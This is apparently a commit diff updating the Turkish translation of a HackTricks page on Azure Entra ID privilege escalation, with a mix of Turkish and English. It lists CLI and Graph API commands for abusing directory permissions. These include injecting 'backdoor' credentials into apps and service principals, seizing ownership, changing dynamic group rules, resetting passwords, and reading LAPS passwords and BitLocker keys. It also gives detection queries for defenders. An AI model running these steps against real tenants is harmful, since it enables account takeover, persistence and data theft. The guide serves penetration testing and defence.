mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+98
-67
@@ -3,13 +3,13 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Entra ID içinde built-in roles tarafından sağlanan **tüm ayrıntılı permissions** custom roles içinde **kullanılmak üzere uygun değildir.**
|
||||
> Not that **not all the granular permissions** built-in roles have in Entra ID **are eligible to be used in custom roles.**
|
||||
|
||||
## Roles
|
||||
|
||||
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
|
||||
Bu role, principal’lere roles atayabilmek ve roles’a daha fazla permissions verebilmek için gerekli ayrıntılı permissions dahildir. Her iki action da privileges yükseltmek için abused edilebilir.
|
||||
Bu rol, principal'lara role atayabilmek ve role daha fazla permission verebilmek için gerekli granular permissions içerir. Her iki eylem de privileges yükseltmek için kötüye kullanılabilir.
|
||||
|
||||
- Assign role to a user:
|
||||
```bash
|
||||
@@ -27,7 +27,7 @@ az rest --method POST \
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
```
|
||||
- Bir role daha fazla permission ekle:
|
||||
- Bir role daha fazla izin ekle:
|
||||
```bash
|
||||
# List only custom roles
|
||||
az rest --method GET \
|
||||
@@ -52,22 +52,53 @@ az rest --method PATCH \
|
||||
|
||||
### `microsoft.directory/applications/credentials/update`
|
||||
|
||||
Bu, bir saldırganın mevcut uygulamalara **kimlik bilgileri eklemesine** (parolalar veya sertifikalar) izin verir. Uygulamanın ayrıcalıklı izinleri varsa, saldırgan o uygulama olarak kimlik doğrulaması yapabilir ve bu ayrıcalıkları elde edebilir.
|
||||
Bu, bir saldırganın mevcut uygulamalara **kimlik bilgileri eklemesine** (parolalar veya sertifikalar) olanak tanır. Uygulamanın ayrıcalıklı izinleri varsa, saldırgan bu uygulama olarak kimlik doğrulayabilir ve bu ayrıcalıkları elde edebilir.
|
||||
```bash
|
||||
# Generate a new password without overwritting old ones
|
||||
az ad app credential reset --id <appId> --append
|
||||
# Generate a new certificate without overwritting old ones
|
||||
az ad app credential reset --id <appId> --create-cert
|
||||
```
|
||||
### `microsoft.directory/applications.myOrganization/allProperties/update`
|
||||
|
||||
Bu izin, herhangi bir **single-tenant** application registration (`signInAudience = AzureADMyOrg`) için **her yazılabilir property** üzerinde update yetkisi verir; buna `passwordCredentials` ve `keyCredentials` de dahildir. Katalogda `IsPrivileged: true` olarak işaretlenmiştir ancak hiçbir built-in role içinde **yer almaz** — neredeyse yalnızca bir admin’in "manage our internal apps" yetkisini devretmek için oluşturduğu **custom roles** içinde görünür; çünkü `.myOrganization` alt tipi, işlemi tam olarak privileged Microsoft Graph permissions taşıması en olası app setine scope eder.
|
||||
|
||||
- Privileged Microsoft Graph permissions consented olan app'leri enumerate et:
|
||||
```bash
|
||||
# SPs with at least one Microsoft Graph app role assigned
|
||||
GRAPH_SP_ID=$(az ad sp show --id 00000003-0000-0000-c000-000000000000 --query id -o tsv)
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$GRAPH_SP_ID/appRoleAssignedTo" \
|
||||
--query "value[].{App:principalDisplayName, SP:principalId, RoleId:appRoleId}" \
|
||||
-o table
|
||||
|
||||
# Resolve a RoleId to the human-readable permission name
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 \
|
||||
--query "appRoles[?id=='<RoleId>'].value" -o tsv
|
||||
```
|
||||
- Hedefin single-tenant olduğunu doğrula (.myOrganization subtype scope içinde):
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/applications(appId='<APP_ID>')" \
|
||||
--query "{audience:signInAudience, name:displayName}"
|
||||
# audience must be "AzureADMyOrg"
|
||||
```
|
||||
- Hedef app içine bir credential inject et — zincirdeki tek privileged adım:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/applications(appId='<APP_ID>')/addPassword" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"passwordCredential":{"displayName":"backdoor"}}'
|
||||
```
|
||||
### `microsoft.directory/applications.myOrganization/credentials/update`
|
||||
|
||||
Bu, `applications/credentials/update` ile aynı eylemlere izin verir, ancak tek dizinli uygulamalarla sınırlıdır.
|
||||
Bu, `applications/credentials/update` ile aynı eylemlere izin verir, ancak tek-dizinli applications ile sınırlıdır.
|
||||
```bash
|
||||
az ad app credential reset --id <appId> --append
|
||||
```
|
||||
### `microsoft.directory/applications/owners/update`
|
||||
|
||||
Kendilerini bir owner olarak ekleyerek, bir attacker application’ı manipulate edebilir, credentials ve permissions dahil.
|
||||
Kendilerini bir owner olarak ekleyerek, bir attacker application'ı manipulate edebilir; buna credentials ve permissions da dahildir.
|
||||
```bash
|
||||
az ad app owner add --id <AppId> --owner-object-id <UserId>
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -77,9 +108,9 @@ az ad app owner list --id <appId>
|
||||
```
|
||||
### `microsoft.directory/applications/allProperties/update`
|
||||
|
||||
Bir attacker, tenant kullanıcıları tarafından kullanılan applications uygulamalarına bir redirect URI ekleyebilir ve ardından onlarla yeni redirect URL'yi kullanan login URLs paylaşarak token'larını steal edebilir. Eğer user zaten application'da logged in ise, authentication otomatik olacak ve user'ın hiçbir şeyi kabul etmesi gerekmeyecek.
|
||||
Bir attacker, tenant kullanıcıları tarafından kullanılan applications'lara bir redirect URI ekleyebilir ve ardından yeni redirect URL'yi kullanan login URLs'lerini onlarla paylaşarak token'larını çalabilir. Kullanıcı zaten application'da logged in durumdaysa, authentication otomatik olacak ve kullanıcının herhangi bir şeyi kabul etmesine gerek kalmayacaktır.
|
||||
|
||||
Ayrıca, application'ın istediği permissions değiştirilerek daha fazla permissions elde etmek de mümkündür, ancak bu durumda user'ın tüm permissions için onay isteyen prompt'u yeniden kabul etmesi gerekecektir.
|
||||
Ayrıca, application'ın istediği permissions'ları değiştirmek ve daha fazla permissions almak da mümkündür; ancak bu durumda kullanıcının tüm permissions'lar için soran prompt'u tekrar accept etmesi gerekecektir.
|
||||
```bash
|
||||
# Get current redirect uris
|
||||
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
|
||||
@@ -88,13 +119,13 @@ az ad app update --id <app-id> --web-redirect-uris "https://original.com/callbac
|
||||
```
|
||||
### Applications Privilege Escalation
|
||||
|
||||
**[Bu yazıda](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/) açıklandığı gibi** **`Application`** türünde **API permissions** atanmış default applications bulmak çok yaygındı. **`Application`** türündeki bir API Permission (Entra ID console’da adlandırıldığı gibi), application’ın API’ye erişebileceği ve user context olmadan (app içine user login olmadan) işlem yapabileceği, ayrıca bunun için Entra ID roles gerektirmediği anlamına gelir. Bu nedenle, **her Entra ID tenant içinde yüksek yetkili applications** bulmak çok yaygındır.
|
||||
**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** `Application` türünde **API permissions** atanmış default applications bulmak çok yaygındı. Entra ID console’da `Application` türündeki bir API Permission, application’ın API’ye erişebileceği ve user context olmadan (app içine user login olmadan) işlem yapabileceği, ayrıca bunu sağlamak için Entra ID roles gerektirmediği anlamına gelir. Bu nedenle, her Entra ID tenant içinde **high privileged applications** bulmak çok yaygındır.
|
||||
|
||||
Sonra, bir attacker application’ın **credentials (secret o certificate)** güncellemesine izin veren herhangi bir permission/role’a sahipse, attacker yeni bir credential oluşturabilir ve bunu kullanarak **application olarak authenticate olabilir**, böylece application’ın sahip olduğu tüm permissions’ları elde eder.
|
||||
Sonra, bir attacker application’ın credentials (`secret` veya `certificate`) değerini **update etmeye** izin veren herhangi bir permission/role’a sahipse, attacker yeni bir credential oluşturabilir ve bunu kullanarak **application olarak authenticate** olabilir; böylece application’ın sahip olduğu tüm permissions elde edilir.
|
||||
|
||||
Bahsedilen blogun bazı yaygın Microsoft default applications için **API permissions** paylaştığına dikkat edin; ancak bu rapordan bir süre sonra Microsoft bu sorunu düzeltti ve artık Microsoft applications olarak login olmak mümkün değil. Yine de, hala **istismar edilebilecek yüksek privileges’e sahip custom applications** bulmak mümkün.
|
||||
Belirtildiği gibi blog, yaygın Microsoft default applications için bazı **API permissions** paylaşıyor; ancak bu rapordan bir süre sonra Microsoft bu sorunu düzeltti ve artık Microsoft applications olarak login olmak mümkün değil. Yine de, **abuse edilebilecek high privileges’e sahip custom applications** bulmak hâlâ mümkün.
|
||||
|
||||
Bir application’ın API permissions’larını enumerate etme yöntemi:
|
||||
Bir application’ın API permissions’ı nasıl enumerate edilir:
|
||||
```bash
|
||||
# Get "API Permissions" of an App
|
||||
## Get the ResourceAppId
|
||||
@@ -125,7 +156,7 @@ az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
|
||||
```
|
||||
<details>
|
||||
<summary>Tüm applications API permissions öğelerini bulun ve Microsoft-owned API'leri işaretleyin</summary>
|
||||
<summary>Tüm applications API permissions'ları bulun ve Microsoft-owned API'leri işaretleyin</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
@@ -241,34 +272,34 @@ done < <(jq -c '.[]' <<<"$apps_json")
|
||||
|
||||
### `microsoft.directory/servicePrincipals/credentials/update`
|
||||
|
||||
Bu, bir saldırganın mevcut service principals öğelerine credentials eklemesine izin verir. Service principal elevated privileges sahibiyse, saldırgan bu privileges öğelerini üstlenebilir.
|
||||
Bu, bir saldırganın mevcut service principals içine credentials eklemesine izin verir. Service principal elevated privileges sahibi ise, saldırgan bu privileges'i devralabilir.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Yeni oluşturulan password web console içinde görünmeyecek, bu yüzden bir service principal üzerinde persistence sağlamak için stealth bir yol olabilir.\
|
||||
> API'den şu şekilde bulunabilirler: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
> Yeni oluşturulan password web console’da görünmeyecek, bu yüzden bir service principal üzerinde persistence sürdürmek için gizli bir yol olabilir.\
|
||||
> API üzerinden şu komutla bulunabilir: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
Eğer `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` hatasını alırsanız, bunun nedeni SP'nin **passwordCredentials** property'sini değiştirmek mümkün olmamasıdır ve önce bunu unlock etmeniz gerekir. Bunun için şu komutu çalıştırmanıza izin veren bir permission (`microsoft.directory/applications/allProperties/update`) gerekir:
|
||||
Eğer `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` hatasını alırsanız, bunun nedeni SP’nin **passwordCredentials property**’sini değiştirememendir ve önce onu unlock etmen gerekir. Bunun için, şu komutu çalıştırmanı sağlayan bir permission (`microsoft.directory/applications/allProperties/update`) gerekir:
|
||||
```bash
|
||||
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
|
||||
```
|
||||
### Entra Agent ID blueprint credential abuse (`AgentIdentityBlueprint.AddRemoveCreds.All`)
|
||||
|
||||
**Agent identity blueprints** application objects are ve her blueprint ayrıca tenant içinde bir **agent identity blueprint principal** oluşturur. **Agent identities**, bu blueprint yolunun service-principal-türevli çocuklarıdır. Bu nedenle, bir saldırgan **blueprint'e bir password/certificate ekleyebilirse** veya zaten onun credential'larından birini çalmışsa, daha sonra **blueprint principal** olarak authenticate olabilir ve child agent identities için token request edebilir.
|
||||
**Agent identity blueprints** are application objects and each blueprint also creates an **agent identity blueprint principal** in the tenant. **Agent identities** are service-principal-derived children of that blueprint path. Therefore, if an attacker can **add a password/certificate to the blueprint** or already stole one of its credentials, they can later authenticate as the **blueprint principal** and request tokens for child agent identities.
|
||||
|
||||
Bu, kötü bir Entra Agent ID role assignment'i şuna dönüştürür:
|
||||
This turns a bad Entra Agent ID role assignment into both:
|
||||
|
||||
- **Persistence**: yeni `passwordCredential` kaldırılana kadar blueprint üzerinde kalır
|
||||
- **Privilege escalation**: düşük-trust/dev bir agent farklı, yüksek-trust bir blueprint'e geçebilir ve sonra onun child agent'leri gibi davranabilir
|
||||
- **Persistence**: yeni `passwordCredential`, kaldırılana kadar blueprint üzerinde kalır
|
||||
- **Privilege escalation**: düşük güvene sahip/dev agent, farklı bir yüksek güvenli blueprint’e geçebilir ve sonra onun child agent’leri gibi davranabilir
|
||||
|
||||
Tipik tehlikeli yollar şunlardır:
|
||||
Typical dangerous paths are:
|
||||
|
||||
- **`AgentIdentityBlueprint.AddRemoveCreds.All`** sahip bir compromised agent identity
|
||||
- Blueprint'i yönetebilen compromised owner/sponsor/admin
|
||||
- Mevcut bir blueprint secret/certificate'ın theft'i
|
||||
- A compromised agent identity with **`AgentIdentityBlueprint.AddRemoveCreds.All`**
|
||||
- A compromised owner/sponsor/admin able to manage the blueprint
|
||||
- Mevcut bir blueprint secret/certificate’in çalınması
|
||||
|
||||
Target blueprint'e yeni bir secret ekleyin:
|
||||
Hedef blueprint’e yeni bir secret ekle:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://graph.microsoft.com/beta/applications/<blueprint-object-id>/addPassword" \
|
||||
@@ -280,7 +311,7 @@ Veya Microsoft Graph PowerShell ile:
|
||||
$params = @{ passwordCredential = @{ displayName = 'ht-backdoor' } }
|
||||
Add-MgBetaApplicationPassword -ApplicationId <blueprint-object-id> -BodyParameter $params
|
||||
```
|
||||
Yeni kimlik bilgisi kabul edilirse, **blueprint principal** olarak authenticate olun ve Agent ID token exchange'i abuse edin. İlk request, blueprint credential'ı kullanır ve **`fmi_path`** değerini hedef agent identity'ye ayarlar. Dönen token daha sonra, o agent identity için bir Microsoft Graph token almak üzere **JWT bearer `client_assertion`** olarak yeniden kullanılır.
|
||||
Eğer yeni kimlik bilgisi kabul edilirse, **blueprint principal** olarak authenticate ol ve Agent ID token exchange'i abuse et. İlk request blueprint credential kullanır ve **`fmi_path`** değerini target agent identity olarak ayarlar. Dönen token ardından o agent identity için bir Microsoft Graph token almak üzere **JWT bearer `client_assertion`** olarak yeniden kullanılır.
|
||||
```bash
|
||||
curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
|
||||
-H 'Content-Type: application/x-www-form-urlencoded' \
|
||||
@@ -301,7 +332,7 @@ curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
|
||||
--data-urlencode 'scope=https://graph.microsoft.com/.default'
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Eğer bir **dev** blueprint veya onun child agent’ı bir **prod** blueprint’e credentials ekleyebiliyorsa, saldırgan beklenen blueprint/agent trust boundary’yi aşar ve target agent infrastructure üzerinde kalıcı access elde eder.
|
||||
> Eğer bir **dev** blueprint veya onun child agent’ı, bir **prod** blueprint’e credentials ekleyebiliyorsa, attacker beklenen blueprint/agent trust boundary’yi aşar ve target agent infrastructure üzerinde kalıcı access elde eder.
|
||||
|
||||
Quick validation / scoping:
|
||||
```powershell
|
||||
@@ -313,30 +344,30 @@ $app = Get-MgBetaApplication -ApplicationId <target-blueprint-object-id>
|
||||
$app.AdditionalProperties['@odata.type']
|
||||
$app.PasswordCredentials | ? { $_.KeyId -eq '<new-key-id>' }
|
||||
```
|
||||
Hunting notes:
|
||||
Hunting notları:
|
||||
|
||||
- [Az - Monitoring](../../az-services/az-monitoring.md) içinde **`Update application – Certificates and secrets management`** ifadesini ara
|
||||
- **`AuditLogs`**, **`MicrosoftGraphActivityLogs`** ve **`AADServicePrincipalSignInLogs`** verilerini zaman, service principal ID, user-agent, IP ve `SignInActivityId` / `UniqueTokenIdentifier` ile ilişkilendir
|
||||
- `MicrosoftGraphActivityLogs` içinde, **`/applications/<id>/microsoft.graph.addPassword`** ile biten `RequestUri` ve `Roles` alanının **`AgentIdentityBlueprint.AddRemoveCreds.All`** içerip içermediğini kontrol et
|
||||
- `AADServicePrincipalSignInLogs` içinde `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType` alanlarını ve yeni key'in daha sonra kullanılıp kullanılmadığını incele
|
||||
- [Az - Monitoring](../../az-services/az-monitoring.md) içinde **`Update application – Certificates and secrets management`** arayın
|
||||
- **`AuditLogs`**, **`MicrosoftGraphActivityLogs`** ve **`AADServicePrincipalSignInLogs`** öğelerini zaman, service principal ID, user-agent, IP ve `SignInActivityId` / `UniqueTokenIdentifier` ile ilişkilendirin
|
||||
- `MicrosoftGraphActivityLogs` içinde, **`/applications/<id>/microsoft.graph.addPassword`** ile biten `RequestUri` ve `Roles` içinde **`AgentIdentityBlueprint.AddRemoveCreds.All`** olup olmadığını kontrol edin
|
||||
- `AADServicePrincipalSignInLogs` içinde `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType` ve yeni key’in daha sonra kullanılıp kullanılmadığını inceleyin
|
||||
|
||||
Yeni eklenen secret'ın authentication için kullanılıp kullanılmadığını görmek için minimal KQL:
|
||||
Yeni eklenen secret’ın authenticate olup olmadığını görmek için minimal KQL:
|
||||
```kusto
|
||||
AADServicePrincipalSignInLogs
|
||||
| where ServicePrincipalCredentialKeyId == "<new-key-id>"
|
||||
| project CreatedDateTime, ServicePrincipalName, ServicePrincipalId, IPAddress, UserAgent, ResourceDisplayName
|
||||
```
|
||||
Bu, generic [application credential abuse](../../az-services/az-azuread.md#applications) ve [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals) ile ilişkilidir, ancak Entra Agent ID, blueprint credential’ın **farklı bir agent identity token** ile değiştirilebildiği ikinci bir aşama ekler.
|
||||
Bu, generic [application credential abuse](../../az-services/az-azuread.md#applications) ve [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals) ile ilgilidir, ancak Entra Agent ID, blueprint credential'ın **farklı bir agent identity token** ile exchange edilebildiği ikinci bir stage ekler.
|
||||
|
||||
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
|
||||
|
||||
Bu, bir saldırganın mevcut service principal’lara credential eklemesine izin verir. Eğer service principal yükseltilmiş yetkilere sahipse, saldırgan bu yetkileri üstlenebilir.
|
||||
Bu, bir attacker'ın mevcut service principals içine credentials eklemesine izin verir. service principal elevated privileges'e sahipse, attacker bu privileges'ı assume edebilir.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/owners/update`
|
||||
|
||||
Uygulamalar gibi, bu permission bir service principal'a daha fazla owner eklemeye izin verir. Bir service principal'a sahip olmak, onun credentials ve permissions üzerinde kontrol sağlar.
|
||||
applications ile benzer şekilde, bu izin bir service principal'a daha fazla owner eklemeye izin verir. Bir service principal'a sahip olmak, onun credentials ve permissions üzerinde kontrol sağlar.
|
||||
```bash
|
||||
# Add new owner
|
||||
spId="<spId>"
|
||||
@@ -354,13 +385,13 @@ az ad sp credential reset --id <sp-id> --append
|
||||
az ad sp owner list --id <spId>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Yeni bir owner ekledikten sonra, onu kaldırmayı denedim ama API, owner’ı silmek için kullanmanız gereken yöntem olmasına rağmen DELETE methodunun desteklenmediğini belirtti. Bu yüzden artık **owners kaldırılamıyor**.
|
||||
> Yeni bir owner ekledikten sonra onu kaldırmayı denedim ama API, DELETE method'unun desteklenmediğini söyledi; oysa owner'ı silmek için kullanman gereken method bu. Yani artık **owners kaldırılamıyor**.
|
||||
|
||||
### `microsoft.directory/servicePrincipals/disable` and `enable`
|
||||
|
||||
Bu permissions service principals’i disable ve enable etmeye izin verir. Bir attacker, bir şekilde erişim elde edebildiği bir service principal’i enable ederek privileges escalation yapmak için bu permission’ı kullanabilir.
|
||||
Bu permissions, service principals'ları disable etmeye ve enable etmeye izin verir. Bir attacker, somehow erişebildiği bir service principal'ı enable etmek için bu permission'ı kullanarak privileges yükseltebilir.
|
||||
|
||||
Bu technique için attacker’ın, enabled service principal’i ele geçirmek için daha fazla permission’a ihtiyacı olacağını unutmayın.
|
||||
Bu technique için attacker'ın, enabled service principal'ı ele geçirmek amacıyla daha fazla permission'a ihtiyaç duyacağını unutmayın.
|
||||
```bash
|
||||
# Disable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
@@ -370,7 +401,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
|
||||
```
|
||||
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
|
||||
|
||||
Bu permissions, third-party applications'e erişim sağlayabilecek single sign-on için credentials oluşturmayı ve almayı sağlar.
|
||||
Bu izinler, third-party applications'e erişim sağlayabilecek single sign-on için credentials oluşturma ve alma izni verir.
|
||||
```bash
|
||||
# Generate SSO creds for a user or a group
|
||||
spID="<spId>"
|
||||
@@ -396,30 +427,30 @@ az rest --method POST \
|
||||
|
||||
### `microsoft.directory/groups/allProperties/update`
|
||||
|
||||
Bu izin, kullanıcıları privileged gruplara eklemeye olanak tanır ve bu da privilege escalation'a yol açar.
|
||||
Bu izin, kullanıcıları ayrıcalıklı gruplara eklemeye izin verir ve bu da privilege escalation'a yol açar.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**Not**: Bu izin Entra ID role-assignable groups kapsamaz.
|
||||
|
||||
### `microsoft.directory/groups/owners/update`
|
||||
|
||||
Bu izin, grupların sahibi olmayı sağlar. Bir grubun sahibi, grup üyeliğini ve ayarlarını kontrol edebilir; bu da potansiyel olarak group üzerinde privilege escalation sağlayabilir.
|
||||
```bash
|
||||
az ad group owner add --group <GroupName> --owner-object-id <UserId>
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**Not**: Bu izin, Entra ID role-assignable groups kapsam dışıdır.
|
||||
|
||||
### `microsoft.directory/groups/owners/update`
|
||||
|
||||
Bu izin, groups için bir owner olmayı sağlar. Bir group owner’ı, group membership ve settings üzerinde kontrol sahibi olabilir ve potansiyel olarak group’a privileges escalation yapabilir.
|
||||
```bash
|
||||
az ad group owner add --group <GroupName> --owner-object-id <UserId>
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
**Not**: Bu izin, Entra ID role-assignable groups hariç tutar.
|
||||
|
||||
### `microsoft.directory/groups/members/update`
|
||||
|
||||
Bu izin, bir gruba üyeler eklemeye izin verir. Bir attacker, kendisini veya malicious hesapları privileged gruplara ekleyerek elevated access elde edebilir.
|
||||
Bu izin, bir gruba member eklemeye izin verir. Bir attacker kendini veya malicious hesapları privileged gruplara ekleyebilir ve bu elevated access sağlayabilir.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
### `microsoft.directory/groups/dynamicMembershipRule/update`
|
||||
|
||||
Bu izin, dinamik bir gruptaki membership rule'u güncellemeye izin verir. Bir attacker, dynamic rules'u değiştirerek explicit addition olmadan kendisini privileged groups içine dahil edebilir.
|
||||
Bu izin, dynamic group içindeki membership rule’u güncellemenize olanak tanır. Bir attacker, dynamic rule’ları değiştirerek explicit addition olmadan kendisini privileged group’lara dahil edebilir.
|
||||
```bash
|
||||
groupId="<group-id>"
|
||||
az rest --method PATCH \
|
||||
@@ -430,11 +461,11 @@ az rest --method PATCH \
|
||||
"membershipRuleProcessingState": "On"
|
||||
}'
|
||||
```
|
||||
**Not**: Bu izin, Entra ID role-assignable gruplarını hariç tutar.
|
||||
**Not**: Bu izin Entra ID role-assignable groups kapsam dışındadır.
|
||||
|
||||
### Dynamic Groups Privesc
|
||||
|
||||
Kullanıcıların, kendi özelliklerini değiştirerek dynamic groups üyeleri olarak eklenmeleri ve böylece privilege escalation yapmaları mümkün olabilir. Daha fazla bilgi için şuna bakın:
|
||||
Kullanıcıların kendi özelliklerini değiştirerek dynamic groups üyeleri olarak eklenmesi yoluyla privilege escalate etmesi mümkün olabilir. Daha fazla bilgi için şunu kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
dynamic-groups.md
|
||||
@@ -444,7 +475,7 @@ dynamic-groups.md
|
||||
|
||||
### `microsoft.directory/users/password/update`
|
||||
|
||||
Bu permission, admin olmayan kullanıcıların password'unu sıfırlamaya izin verir ve bu da potansiyel bir attacker'ın diğer kullanıcılar üzerinden privilege escalation yapmasını sağlayabilir. Bu permission custom roles'a atanamaz.
|
||||
Bu permission, non-admin users için password reset etmeye izin verir ve bu da potansiyel bir attacker’ın diğer users üzerinde privilege escalate etmesine olanak tanır. Bu permission custom roles’a atanamaz.
|
||||
```bash
|
||||
# Update user password
|
||||
userId="<user-id>"
|
||||
@@ -464,7 +495,7 @@ az rest --method PATCH \
|
||||
```
|
||||
### `microsoft.directory/users/basic/update`
|
||||
|
||||
Bu yetki, kullanıcının özelliklerini değiştirmeye izin verir. Özellik değerlerine göre kullanıcı ekleyen dynamic groups bulmak yaygındır; bu nedenle, bu izin bir kullanıcının belirli bir dynamic group üyesi olmak için gereken özellik değerini ayarlamasına ve privileges escalate etmesine imkan verebilir.
|
||||
Bu privilege, kullanıcının özelliklerini değiştirmeye izin verir. Özellik değerlerine göre kullanıcı ekleyen dynamic groups bulmak yaygındır; bu nedenle, bu permission bir kullanıcının, belirli bir dynamic group üyesi olmak için gerekli özellik değerini ayarlamasına ve privileges yükseltmesine izin verebilir.
|
||||
```bash
|
||||
#e.g. change manager of a user
|
||||
victimUser="<userID>"
|
||||
@@ -480,19 +511,19 @@ az rest --method PATCH \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"department\": \"security\"}"
|
||||
```
|
||||
## Conditional Access Policies & MFA bypass
|
||||
## Koşullu Erişim Politikaları & MFA bypass
|
||||
|
||||
Hatalı yapılandırılmış ve MFA gerektiren conditional access policies bypass edilebilir, kontrol et:
|
||||
Yanlış yapılandırılmış ve MFA gerektiren koşullu erişim politikaları bypass edilebilir, kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
az-conditional-access-policies-mfa-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
## Devices
|
||||
## Cihazlar
|
||||
|
||||
### `microsoft.directory/devices/registeredOwners/update`
|
||||
|
||||
Bu permission, saldırganların cihazların owner'ları olarak kendilerini atamasına izin verir; böylece cihaz kontrolü veya cihaza özel ayarlar ve verilere erişim elde edebilirler.
|
||||
Bu izin, saldırganların cihazların sahibi olarak kendilerini atamasına ve cihaz kontrolü ya da cihaza özel ayarlara ve verilere erişim elde etmesine olanak tanır.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -503,7 +534,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/devices/registeredUsers/update`
|
||||
|
||||
Bu izin, saldırganların hesaplarını cihazlarla ilişkilendirmesine, erişim kazanmasına veya güvenlik politikalarını aşmasına olanak tanır.
|
||||
Bu izin, saldırganların hesaplarını cihazlarla ilişkilendirerek erişim elde etmesine veya güvenlik politikalarını bypass etmesine izin verir.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -514,7 +545,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/deviceLocalCredentials/password/read`
|
||||
|
||||
Bu izin, saldırganların Microsoft Entra joined devices için yedeklenen local administrator account credentials özelliklerini, password dahil, okumasına olanak tanır
|
||||
Bu izin, saldırganların Microsoft Entra joined devices için yedeklenmiş local administrator account credentials özelliklerini, password dahil, okumasına olanak tanır
|
||||
```bash
|
||||
# List deviceLocalCredentials
|
||||
az rest --method GET \
|
||||
@@ -529,7 +560,7 @@ az rest --method GET \
|
||||
|
||||
### `microsoft.directory/bitlockerKeys/key/read`
|
||||
|
||||
Bu izin, BitLocker anahtarlarına erişim sağlar; bu da bir saldırganın disklerin şifresini çözmesine izin verebilir ve veri gizliliğini tehlikeye atabilir.
|
||||
Bu izin, BitLocker anahtarlarına erişime izin verir; bu da bir saldırganın sürücüleri decrypt etmesine ve veri gizliliğini tehlikeye atmasına olanak tanıyabilir.
|
||||
```bash
|
||||
# List recovery keys
|
||||
az rest --method GET \
|
||||
@@ -552,9 +583,9 @@ az rest --method GET \
|
||||
|
||||
## References
|
||||
|
||||
- [Red Canary - Microsoft Entra Agent ID içinde Şüpheli AI Workflows Araştırması: Autonomous Agents](https://redcanary.com/blog/threat-detection/entra-id-ai-workflows/)
|
||||
- [Microsoft Learn - Microsoft Entra Agent ID içinde Agent identity blueprints](https://learn.microsoft.com/en-us/entra/agent-id/agent-blueprint)
|
||||
- [Microsoft Learn - Autonomous agents için authenticate etme ve tokens edinme](https://learn.microsoft.com/en-us/entra/agent-id/autonomous-agent-authentication-authorization-flow)
|
||||
- [Red Canary - Investigating Suspicious AI Workflows in Microsoft Entra Agent ID: Autonomous Agents](https://redcanary.com/blog/threat-detection/entra-id-ai-workflows/)
|
||||
- [Microsoft Learn - Agent identity blueprints in Microsoft Entra Agent ID](https://learn.microsoft.com/en-us/entra/agent-id/agent-blueprint)
|
||||
